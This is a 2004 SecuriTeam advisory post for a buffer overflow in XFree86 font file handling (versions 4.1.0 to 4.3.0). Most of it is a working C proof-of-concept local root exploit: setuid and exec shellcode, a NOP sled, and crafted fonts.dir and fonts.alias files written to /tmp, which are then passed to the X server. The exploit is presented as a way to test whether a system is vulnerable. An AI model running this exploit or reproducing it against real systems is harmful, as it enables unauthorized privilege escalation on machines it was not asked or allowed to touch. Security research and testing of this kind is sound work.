[EXPL] XFree86 Font File Information Buffer Overflow Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 02/16/04

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Date: 16 Feb 2004 11:52:04 +0200

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      XFree86 Font File Information Buffer Overflow Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As was reported in a previous article name <XFree86 Font File Information
    Buffer Overflow> XFree86 Font File Information Buffer Overflow, a buffer
    overflow vulnerability has been found in XFree86. Provided here is a
    proof-of-concept exploit code that can help test if your system is
    vulnerable.

    DETAILS

    Vulnerable Systems:
     * XFree86 versions 4.1.0 to 4.3.0 (possibly prior versions as well)

    Exploit:
    /* For educational purposes only */
    /* Brought to you by bender2@lonestar.org 11.10.2004 */

    #include < fcntl.h>

    #define NOPNUM 8000
    #define ADRNUM 1058

    /* shellcode from LSD */
    char setuidcode[]= /* 8 bytes */
        "\x33\xc0" /* xorl %eax,%eax */
        "\x31\xdb" /* xorl %ebx,%ebx */
        "\xb0\x17" /* movb $0x17,%al */
        "\xcd\x80" /* int $0x80 */
    ;

    char shellcode[]= /* 24 bytes */
        "\x31\xc0" /* xorl %eax,%eax */
        "\x50" /* pushl %eax */
        "\x68""//id" /* pushl $0x68732f2f */
        "\x68""/tmp" /* pushl $0x6e69622f */
        "\x89\xe3" /* movl %esp,%ebx */
        "\x50" /* pushl %eax */
        "\x53" /* pushl %ebx */
        "\x89\xe1" /* movl %esp,%ecx */
        "\x99" /* cdql */
        "\xb0\x0b" /* movb $0x0b,%al */
        "\xcd\x80" /* int $0x80 */
    ;

    char jump[]=
        "\x8b\xc4" /* movl %esp,%eax */
        "\xc3" /* ret */
    ;

    main(int argc,char **argv){
        char buffer[20000],adr[4],pch[4],*b,*envp[4];
        int i,fd;

        *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+16000;

        envp[0]=&buffer[2000];
        envp[1]=0;

        printf("adr: 0x%x\n",adr+12000);

        b=buffer;
        strcpy(buffer,"1\n");
        strcat(buffer,"aaaa.pcf
    -aaaa-fixed-small-a-semicondensed--1-1-1-1-a-1-iso1111-1\n");
        fd=open("/tmp/fonts.dir",O_CREAT|O_WRONLY,0666);
        write(fd,buffer,strlen(buffer));

        for(i=0;i< ADRNUM;i++) *b++=adr[i%4];
        *b++='\n';

        fd=open("/tmp/fonts.alias",O_CREAT|O_WRONLY,0666);
        write(fd,buffer,strlen(buffer));
        close(fd);

        b=&buffer[2000];
        
    for(i=0;i<
    NOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++)
    *b++=0x90;
        for(i=0;i< strlen(setuidcode);i++) *b++=setuidcode[i];
        for(i=0;i< strlen(shellcode);i++) *b++=shellcode[i];
        *b=0;

        execle("/usr/bin/X11/X","X",":0","-fp","/tmp",0,envp);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:bender2@lonestar.org>
    bender2.

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